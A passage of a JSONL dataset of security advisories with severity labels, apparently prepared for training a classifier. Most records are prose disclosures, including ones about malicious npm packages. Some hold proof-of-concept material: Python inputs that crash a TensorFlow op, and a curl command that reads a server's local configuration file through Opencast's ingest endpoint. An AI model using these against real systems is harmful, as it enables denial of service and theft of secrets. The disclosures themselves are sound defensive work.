2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "cc6fccd2a3de58bf4678", "text": "Undefined behavior and `CHECK`-fail in `FractionalMaxPoolGrad`\n\n### Impact\nThe implementation of `tf.raw_ops.FractionalMaxPoolGrad` triggers an undefined behavior if one of the input tensors is empty:\n\n```python\nimport tensorflow as tf\n\norig_input = tf.constant([2, 3], shape=[1, 1, 1, 2], dtype=tf.int64)\norig_output = tf.constant([], dtype=tf.int64) \nout_backprop = tf.zeros([2, 3, 6, 6], dtype=tf.int64)\nrow_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)\ncol_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)\n\ntf.raw_ops.FractionalMaxPoolGrad(\n  orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,\n  row_pooling_sequence=row_pooling_sequence,\n  col_pooling_sequence=col_pooling_sequence, overlapping=False)\n```\n\nThe code is also vulnerable to a denial of service attack as a `CHECK` condition becomes false and aborts the process\n\n```python\nimport tensorflow as tf\n\norig_input = tf.constant([1], shape=[1], dtype=tf.int64)\norig_output = tf.constant([1], shape=[1], dtype=tf.int64)\nout_backprop = tf.constant([1, 1], shape=[2, 1, 1, 1], dtype=tf.int64)\nrow_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64) \ncol_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)\n\ntf.raw_ops.FractionalMaxPoolGrad(\n  orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,\n  row_pooling_sequence=row_pooling_sequence,\n  col_pooling_sequence=col_pooling_sequence, overlapping=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/169054888d50ce488dfde9ca55d91d6325efbd5b/tensorflow/core/kernels/fractional_max_pool_op.cc#L215) fails to validate that input and output tensors are not empty and are of the same rank. Each of these unchecked assumptions is responsible for the above issues.\n\n### Patches\nWe have patched the issue in GitHub commit [32fdcbff9d06d010d908fcc4bd4b36eb3ce15925](https://github.com/tensorflow/tensorflow/commit/32fdcbff9d06d010d908fcc4bd4b36eb3ce15925).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Undefined behavior and `CHECK`-fail in `FractionalMaxPoolGrad`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of `tf.raw_ops.FractionalMaxPoolGrad` triggers an undefined behavior if one of the input tensors is empty:\n\n```python\nimport tensorflow as tf\n\norig_input = tf.constant([2, 3], shape=[1, 1, 1, 2], dtype=tf.int64)\norig_output = tf.constant([], dtype=tf.int64) \nout_backprop = tf.zeros([2, 3, 6, 6], dtype=tf.int64)\nrow_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)\ncol_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)\n\ntf.raw_ops.FractionalMaxPoolGrad(\n  orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,\n  row_pooling_sequence=row_pooling_sequence,\n  col_pooling_sequence=col_pooling_sequence, overlapping=False)\n```\n\nThe code is also vulnerable to a denial of service attack as a `CHECK` condition becomes false and aborts the process\n\n```python\nimport tensorflow as tf\n\norig_input = tf.constant([1], shape=[1], dtype=tf.int64)\norig_output = tf.constant([1], shape=[1], dtype=tf.int64)\nout_backprop = tf.constant([1, 1], shape=[2, 1, 1, 1], dtype=tf.int64)\nrow_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64) \ncol_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)\n\ntf.raw_ops.FractionalMaxPoolGrad(\n  orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,\n  row_pooling_sequence=row_pooling_sequence,\n  col_pooling_sequence=col_pooling_sequence, overlapping=False)\n``` \n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/169054888d50ce488dfde9ca55d91d6325efbd5b/tensorflow/core/kernels/fractional_max_pool_op.cc#L215) fails to validate that input and output tensors are not empty and are of the same rank. Each of these unchecked assumptions is responsible for the above issues.\n\n### Patches\nWe have patched the issue in GitHub commit [32fdcbff9d06d010d908fcc4bd4b36eb3ce15925](https://github.com/tensorflow/tensorflow/commit/32fdcbff9d06d010d908fcc4bd4b36eb3ce15925).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "9234a092d6be97f39bea", "text": "Command Injection in npm-git-publish\n\nAll versions of `npm-git-publish` are vulnerable to Command Injection. The package fails to sanitize input and passes it directly to an `execSync` call, which may allow attackers to execute arbitrary code in the system. The `publish` function is vulnerable through the `gitRemoteUrl` variable.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Command Injection in npm-git-publish\n\n[Severity: CRITICAL]\n\nAll versions of `npm-git-publish` are vulnerable to Command Injection. The package fails to sanitize input and passes it directly to an `execSync` call, which may allow attackers to execute arbitrary code in the system. The `publish` function is vulnerable through the `gitRemoteUrl` variable.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "b1bf77842e8a11f1c6d7", "text": "Improper Verification of Cryptographic Signature in Apache Pulsar in TensorFlow\n\nIf Apache Pulsar is configured to authenticate clients using tokens based on JSON Web Tokens (JWT), the signature of the token is not validated if the algorithm of the presented token is set to \"none\". This allows an attacker to connect to Pulsar instances as any user (incl. admins).", "text_raw": "Improper Verification of Cryptographic Signature in Apache Pulsar in TensorFlow\n\n[Severity: CRITICAL]\n\nIf Apache Pulsar is configured to authenticate clients using tokens based on JSON Web Tokens (JWT), the signature of the token is not validated if the algorithm of the presented token is set to \"none\". This allows an attacker to connect to Pulsar instances as any user (incl. admins).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-01", "split": "train"}
-{"id": "65337ff626cbac4b6931", "text": "Cross-site scripting (XSS)\n\nCross-site scripting (XSS) in modules/content/admin/content.php in ImpressCMS profile 1.4.2 allows remote attackers to inject arbitrary web script or HTML parameters through the \"Display Name\" field.", "text_raw": "Cross-site scripting (XSS)\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) in modules/content/admin/content.php in ImpressCMS profile 1.4.2 allows remote attackers to inject arbitrary web script or HTML parameters through the \"Display Name\" field.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-12", "split": "train"}
-{"id": "9bac66cad8c018cb4463", "text": "Improper Restriction of Excessive Authentication Attempts in Argo API\n\nAs of v1.5.0, the Argo API does not implement anti-automation measures such as rate limiting, account lockouts, or other anti-bruteforce measures. Attackers can submit an unlimited number of authentication attempts without consequence.\n\n### Specific Go Packages Affected\ngithub.com/argoproj/argo-cd/util/cache", "text_raw": "Improper Restriction of Excessive Authentication Attempts in Argo API\n\n[Severity: HIGH]\n\nAs of v1.5.0, the Argo API does not implement anti-automation measures such as rate limiting, account lockouts, or other anti-bruteforce measures. Attackers can submit an unlimited number of authentication attempts without consequence.\n\n### Specific Go Packages Affected\ngithub.com/argoproj/argo-cd/util/cache", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-26", "split": "train"}
-{"id": "a72ed3d0b8ba552fa81f", "text": "Mail Gem CRLF Injection vulnerability\n\nThe mail gem before 2.5.5 for Ruby (aka A Really Ruby Mail Library) is vulnerable to SMTP command injection via CRLF sequences in a RCPT TO or MAIL FROM command, as demonstrated by CRLF sequences immediately before and after a DATA substring.", "text_raw": "Mail Gem CRLF Injection vulnerability\n\n[Severity: MEDIUM]\n\nThe mail gem before 2.5.5 for Ruby (aka A Really Ruby Mail Library) is vulnerable to SMTP command injection via CRLF sequences in a RCPT TO or MAIL FROM command, as demonstrated by CRLF sequences immediately before and after a DATA substring.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "02c042b5e5c1b0945cc3", "text": "crossenv is malware\n\nThe `crossenv` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "crossenv is malware\n\n[Severity: HIGH]\n\nThe `crossenv` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-29", "split": "train"}
-{"id": "89cae9046c4d46280e93", "text": "Malicious Package in dhkey\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in dhkey\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "b9a46c7bbfc69acb3dd7", "text": "Unauthenticated crypto and weak IV in Magento\\Framework\\Encryption\n\nThe __construct function in Framework/Encryption/Crypt.php in Magento 2 uses the PHP rand function to generate a random number for the initialization vector, which makes it easier for remote attackers to defeat cryptographic protection mechanisms by guessing the value.", "text_raw": "Unauthenticated crypto and weak IV in Magento\\Framework\\Encryption\n\n[Severity: HIGH]\n\nThe __construct function in Framework/Encryption/Crypt.php in Magento 2 uses the PHP rand function to generate a random number for the initialization vector, which makes it easier for remote attackers to defeat cryptographic protection mechanisms by guessing the value.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-11-20", "split": "train"}
-{"id": "666c92e0bbfd2fdfae12", "text": "Ivanti MobileIron Multiple Products Remote Code Execution Vulnerability\n\nAffected: Ivanti MobileIron Multiple Products\n\nIvanti MobileIron's Core & Connector, Sentry, and Monitor and Reporting Database (RDB) products contain an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-706\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Ivanti MobileIron Multiple Products Remote Code Execution Vulnerability\n\nAffected: Ivanti MobileIron Multiple Products\n\nIvanti MobileIron's Core & Connector, Sentry, and Monitor and Reporting Database (RDB) products contain an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-706\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "00016420026f414e8123", "text": "Memory corruption in array-tools\n\nAn issue was discovered in the array-tools crate before 0.3.2 for Rust. Affected versions of this crate don't guard against panics, so that partially uninitialized buffer is dropped when user-provided `T::clone()` panics in `FixedCapacityDequeLike<T, A>::clone()`. This causes memory corruption.", "text_raw": "Memory corruption in array-tools\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the array-tools crate before 0.3.2 for Rust. Affected versions of this crate don't guard against panics, so that partially uninitialized buffer is dropped when user-provided `T::clone()` panics in `FixedCapacityDequeLike<T, A>::clone()`. This causes memory corruption.\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ca2cc21cbfd8838ae574", "text": "Authentication bypass in SilverStripe GraphQL\n\nThe GraphQL module accepts basic-auth as an authentication method by default. This can be used to bypass MFA authentication if the silverstripe/mfa module is installed, which is now a commonly installed module. A users password is still required though.\n\nBasic-auth has been removed as a default authentication method. If desired, it can be re-enabled by adding it to the authenticators key of a schema, or on SilverStripe\\Graphql\\Auth\\Handler", "text_raw": "Authentication bypass in SilverStripe GraphQL\n\n[Severity: MEDIUM]\n\nThe GraphQL module accepts basic-auth as an authentication method by default. This can be used to bypass MFA authentication if the silverstripe/mfa module is installed, which is now a commonly installed module. A users password is still required though.\n\nBasic-auth has been removed as a default authentication method. If desired, it can be re-enabled by adding it to the authenticators key of a schema, or on SilverStripe\\Graphql\\Auth\\Handler", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-10", "split": "train"}
-{"id": "7de10d053828b4c8fa93", "text": "Files Accessible to External Parties in Opencast\n\nOpencast before version 10.6 allows references to local file URLs in ingested media packages, allowing attackers to include local files from Opencast's host machines and making them available via the web interface.\n\n### Impact\n\nBefore Opencast 10.6, Opencast would [open and include local files during ingests](https://github.com/opencast/opencast/blob/69952463971cf578363e3b97d8edaf334ff51253/modules/ingest-service-impl/src/main/java/org/opencastproject/ingest/impl/IngestServiceImpl.java#L1587). Attackers could exploit this to include most local files the process has read access to, extracting secrets from the host machine.\n\nFor example, to expose the `custom.properties` of develop.opencast.org via the asset manager, an attacker could have run:\n\n```\ncurl -f -i -u admin:opencast \\\n  https://develop.opencast.org/ingest/addMediaPackage/fast \\\n  -F 'flavor=presenter/source'\\\n  -F mediaUri=file:///srv/opencast/opencast-dist-allinone/etc/custom.properties\\\n  -F title=\"custom.properties\"  \n```\n\nAn attacker would need to have the privileges required to add new media to exploit this. But these are often widely given.\n\n### Patches\n\nThe issue has been fixed in Opencast 10.6 and 11.0.\n\n### Workarounds\n\nYou can mitigate this issue by narrowing down the read access Opencast has to files on the file system using UNIX permissions or mandatory access control systems like SELinux. This cannot prevent access to files Opencast needs to read though and we highly recommend updating.\n\n### References\n\n-  [Example of problematic code](https://github.com/opencast/opencast/blob/69952463971cf578363e3b97d8edaf334ff51253/modules/ingest-service-impl/src/main/java/org/opencastproject/ingest/impl/IngestServiceImpl.java#L1587).\n- [Patch fixing the issue](https://github.com/opencast/opencast/commit/65c46b9d3e8f045c544881059923134571897764)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)\n* Email us at [security@opencast.org](mailto:security@opencast.org)", "text_raw": "Files Accessible to External Parties in Opencast\n\n[Severity: CRITICAL]\n\nOpencast before version 10.6 allows references to local file URLs in ingested media packages, allowing attackers to include local files from Opencast's host machines and making them available via the web interface.\n\n### Impact\n\nBefore Opencast 10.6, Opencast would [open and include local files during ingests](https://github.com/opencast/opencast/blob/69952463971cf578363e3b97d8edaf334ff51253/modules/ingest-service-impl/src/main/java/org/opencastproject/ingest/impl/IngestServiceImpl.java#L1587). Attackers could exploit this to include most local files the process has read access to, extracting secrets from the host machine.\n\nFor example, to expose the `custom.properties` of develop.opencast.org via the asset manager, an attacker could have run:\n\n```\ncurl -f -i -u admin:opencast \\\n  https://develop.opencast.org/ingest/addMediaPackage/fast \\\n  -F 'flavor=presenter/source'\\\n  -F mediaUri=file:///srv/opencast/opencast-dist-allinone/etc/custom.properties\\\n  -F title=\"custom.properties\"  \n```\n\nAn attacker would need to have the privileges required to add new media to exploit this. But these are often widely given.\n\n\n### Patches\n\nThe issue has been fixed in Opencast 10.6 and 11.0.\n\n### Workarounds\n\nYou can mitigate this issue by narrowing down the read access Opencast has to files on the file system using UNIX permissions or mandatory access control systems like SELinux. This cannot prevent access to files Opencast needs to read though and we highly recommend updating.\n\n### References\n\n-  [Example of problematic code](https://github.com/opencast/opencast/blob/69952463971cf578363e3b97d8edaf334ff51253/modules/ingest-service-impl/src/main/java/org/opencastproject/ingest/impl/IngestServiceImpl.java#L1587).\n- [Patch fixing the issue](https://github.com/opencast/opencast/commit/65c46b9d3e8f045c544881059923134571897764)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)\n* Email us at [security@opencast.org](mailto:security@opencast.org)\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-14", "split": "train"}
-{"id": "0c14554364d08d96673f", "text": "Malicious Package in hpmm\n\nAll versions of `hpmm` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in hpmm\n\n[Severity: CRITICAL]\n\nAll versions of `hpmm` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "19524286eebfc209f1bd", "text": "Potential XSS injection in the newsletter conditions field\n\n### Impact\nAn employee can inject javascript in the newsletter condition field that will then be executed on the front office\n\n### Patches\nThe issue has been fixed in 2.6.1", "text_raw": "Potential XSS injection in the newsletter conditions field\n\n[Severity: MEDIUM]\n\n### Impact\nAn employee can inject javascript in the newsletter condition field that will then be executed on the front office\n\n### Patches\nThe issue has been fixed in 2.6.1", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-06", "split": "train"}
-{"id": "040cb45198615255e4ac", "text": "XXE in Apache Standard Taglibs\n\nApache Standard Taglibs before 1.2.3 allows remote attackers to execute arbitrary code or conduct external XML entity (XXE) attacks via a crafted XSLT extension in a (1) <x:parse> or (2) <x:transform> JSTL XML tag.", "text_raw": "XXE in Apache Standard Taglibs\n\n[Severity: HIGH]\n\nApache Standard Taglibs before 1.2.3 allows remote attackers to execute arbitrary code or conduct external XML entity (XXE) attacks via a crafted XSLT extension in a (1) <x:parse> or (2) <x:transform> JSTL XML tag.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-14", "split": "train"}
-{"id": "c70b70328fb9e1d4c414", "text": "Denial of service in github.com/ethereum/go-ethereum\n\n### Impact\n\nA DoS vulnerability can make a LES server crash via malicious `GetProofsV2` request from a connected LES client.\n\n### Patches\n\nThe vulnerability was patched in https://github.com/ethereum/go-ethereum/pull/21896.\n\n### Workarounds\n\nThis vulnerability only concerns users explicitly enabling `les` server; disabling `les` prevents the exploit. \nIt can also be patched by manually applying the patch in https://github.com/ethereum/go-ethereum/pull/21896.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum)\n* Email us at [security@ethereum.org](mailto:security@ethereum.org)", "text_raw": "Denial of service in github.com/ethereum/go-ethereum\n\n[Severity: MEDIUM]\n\n### Impact\n\nA DoS vulnerability can make a LES server crash via malicious `GetProofsV2` request from a connected LES client.\n\n### Patches\n\nThe vulnerability was patched in https://github.com/ethereum/go-ethereum/pull/21896. \n\n### Workarounds\n\nThis vulnerability only concerns users explicitly enabling `les` server; disabling `les` prevents the exploit. \nIt can also be patched by manually applying the patch in https://github.com/ethereum/go-ethereum/pull/21896. \n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum)\n* Email us at [security@ethereum.org](mailto:security@ethereum.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "3db0e61bf637b7489de4", "text": "Pygments vulnerable to Regular Expression Denial of Service (ReDoS)\n\nIn pygments 1.1+, fixed in 2.7.4, the lexers used to parse programming languages rely heavily on regular expressions. Some of the regular expressions have exponential or cubic worst-case complexity and are vulnerable to ReDoS. By crafting malicious input, an attacker can cause a denial of service.", "text_raw": "Pygments vulnerable to Regular Expression Denial of Service (ReDoS)\n\n[Severity: HIGH]\n\nIn pygments 1.1+, fixed in 2.7.4, the lexers used to parse programming languages rely heavily on regular expressions. Some of the regular expressions have exponential or cubic worst-case complexity and are vulnerable to ReDoS. By crafting malicious input, an attacker can cause a denial of service.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "2b8c67ec646ad2a0092b", "text": "Json-jwt did not verify the cryptographic signature for data\n\nThe json-jwt rubygem version >= 0.5.0 && < 1.9.4 contains a CWE-347: Improper Verification of Cryptographic Signature vulnerability in Decryption of AES-GCM encrypted JSON Web Tokens that can result in Attacker can forge a authentication tag. This attack appear to be exploitable via network connectivity. This vulnerability appears to have been fixed in 1.9.4 and later.", "text_raw": "Json-jwt did not verify the cryptographic signature for data\n\n[Severity: MEDIUM]\n\nThe json-jwt rubygem version >= 0.5.0 && < 1.9.4 contains a CWE-347: Improper Verification of Cryptographic Signature vulnerability in Decryption of AES-GCM encrypted JSON Web Tokens that can result in Attacker can forge a authentication tag. This attack appear to be exploitable via network connectivity. This vulnerability appears to have been fixed in 1.9.4 and later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-31", "split": "train"}
-{"id": "3187d00d8f2579c71920", "text": "Drupal core Unrestricted Upload of File with Dangerous Type\n\nDrupal core does not properly sanitize certain filenames on uploaded files, which can lead to files being interpreted as the incorrect extension and served as the wrong MIME type or executed as PHP for certain hosting configurations. This issue affects: Drupal Drupal Core 9.0 versions prior to 9.0.8, 8.9 versions prior to 8.9.9, 8.8 versions prior to 8.8.11, and 7 versions prior to 7.74.", "text_raw": "Drupal core Unrestricted Upload of File with Dangerous Type\n\n[Severity: HIGH]\n\nDrupal core does not properly sanitize certain filenames on uploaded files, which can lead to files being interpreted as the incorrect extension and served as the wrong MIME type or executed as PHP for certain hosting configurations. This issue affects: Drupal Drupal Core 9.0 versions prior to 9.0.8, 8.9 versions prior to 8.9.9, 8.8 versions prior to 8.8.11, and 7 versions prior to 7.74.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "366084c98adb2817747d", "text": "Regular Expression Denial of Service in is-my-json-valid\n\nWithdrawn: Duplicate of GHSA-f522-ffg8-j8r6", "text_raw": "Regular Expression Denial of Service in is-my-json-valid\n\n[Severity: LOW]\n\nWithdrawn: Duplicate of GHSA-f522-ffg8-j8r6", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-08-19", "split": "train"}
-{"id": "4dfdc5dc2044d7f926c3", "text": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory (aka aries.transaction.jms).", "text_raw": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory (aka aries.transaction.jms).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-23", "split": "train"}
-{"id": "eeb3bb6b6ee99c517fed", "text": "Local Temp Directory Hijacking Vulnerability\n\n### Impact\nOn Unix like systems, the system's temporary directory is shared between all users on that system.  A collocated user can observe the process of creating a temporary sub directory in the shared temporary directory and race to complete the creation of the temporary subdirectory.  If the attacker wins the race then they will have read and write permission to the subdirectory used to unpack web applications, including their WEB-INF/lib jar files and JSP files.  If any code is ever executed out of this temporary directory, this can lead to a local privilege escalation vulnerability.\n\nAdditionally, any user code uses of [WebAppContext::getTempDirectory](https://www.eclipse.org/jetty/javadoc/9.4.31.v20200723/org/eclipse/jetty/webapp/WebAppContext.html#getTempDirectory()) would similarly be vulnerable.\n\nAdditionally, any user application code using the `ServletContext` attribute for the tempdir will also be impacted.\nSee: https://javaee.github.io/javaee-spec/javadocs/javax/servlet/ServletContext.html#TEMPDIR\n\nFor example:\n```java\nimport java.io.File;\nimport java.io.IOException;\nimport javax.servlet.ServletContext;\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\npublic class ExampleServlet extends HttpServlet {\n    @Override\n    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {\n        File tempDir = (File)getServletContext().getAttribute(ServletContext.TEMPDIR); // Potentially compromised\n        // do something with that temp dir\n    }\n}\n```\n\nExample: The JSP library itself will use the container temp directory for compiling the JSP source into Java classes before executing them.\n\n### Patches\nFixes were applied to the 9.4.x branch with:\n- https://github.com/eclipse/jetty.project/commit/53e0e0e9b25a6309bf24ee3b10984f4145701edb\n- https://github.com/eclipse/jetty.project/commit/9ad6beb80543b392c91653f6bfce233fc75b9d5f\n\nThese will be included in releases: 9.4.33, 10.0.0.beta3, 11.0.0.beta3\n\n### Workarounds\n\nA work around is to set a temporary directory, either for the server or the context, to a directory outside of the shared temporary file system.\nFor recent releases, a temporary directory can be created simple by creating a directory called `work` in the ${jetty.base} directory (the parent directory of the `webapps` directory).\nAlternately the java temporary directory can be set with the System Property `java.io.tmpdir`.    A more detailed description of how jetty selects a temporary directory is below.\n\nThe Jetty search order for finding a temporary directory is as follows:\n\n1. If the [`WebAppContext` has a temp directory specified](https://www.eclipse.org/jetty/javadoc/current/org/eclipse/jetty/webapp/WebAppContext.html#setTempDirectory(java.io.File)), use it.\n2. If the `ServletContext` has the `javax.servlet.context.tempdir` attribute set, and if directory exists, use it.\n3. If a `${jetty.base}/work` directory exists, use it (since Jetty 9.1)\n4. If a `ServletContext` has the `org.eclipse.jetty.webapp.basetempdir` attribute set, and if the directory exists, use it.\n5. Use `System.getProperty(\"java.io.tmpdir\")` and use it.\n\nJetty will end traversal at the first successful step.\nTo mitigate this vulnerability the directory must be set to one that is not writable by an attacker.  To avoid information leakage, the directory should also not be readable by an attacker.\n\n#### Setting a Jetty server temporary directory.\n\nChoices 3 and 5 apply to the server level, and will impact all deployed webapps on the server.\n\nFor choice 3  just create that work directory underneath your `${jetty.base}` and restart Jetty.\n\nFor choice 5, just specify your own `java.io.tmpdir` when you start the JVM for Jetty.\n\n``` shell\n[jetty-distribution]$ java -Djava.io.tmpdir=/var/web/work -jar start.jar\n```\n\n#### Setting a Context specific temporary directory.\n\nThe rest of the choices require you to configure the context ", "text_raw": "Local Temp Directory Hijacking Vulnerability\n\n[Severity: HIGH]\n\n### Impact\nOn Unix like systems, the system's temporary directory is shared between all users on that system.  A collocated user can observe the process of creating a temporary sub directory in the shared temporary directory and race to complete the creation of the temporary subdirectory.  If the attacker wins the race then they will have read and write permission to the subdirectory used to unpack web applications, including their WEB-INF/lib jar files and JSP files.  If any code is ever executed out of this temporary directory, this can lead to a local privilege escalation vulnerability.\n\nAdditionally, any user code uses of [WebAppContext::getTempDirectory](https://www.eclipse.org/jetty/javadoc/9.4.31.v20200723/org/eclipse/jetty/webapp/WebAppContext.html#getTempDirectory()) would similarly be vulnerable.\n\nAdditionally, any user application code using the `ServletContext` attribute for the tempdir will also be impacted.\nSee: https://javaee.github.io/javaee-spec/javadocs/javax/servlet/ServletContext.html#TEMPDIR\n\nFor example:\n```java\nimport java.io.File;\nimport java.io.IOException;\nimport javax.servlet.ServletContext;\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\npublic class ExampleServlet extends HttpServlet {\n    @Override\n    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {\n        File tempDir = (File)getServletContext().getAttribute(ServletContext.TEMPDIR); // Potentially compromised\n        // do something with that temp dir\n    }\n}\n```\n\nExample: The JSP library itself will use the container temp directory for compiling the JSP source into Java classes before executing them.\n\n### CVSSv3.1 Evaluation\n\nThis vulnerability has been calculated to have a 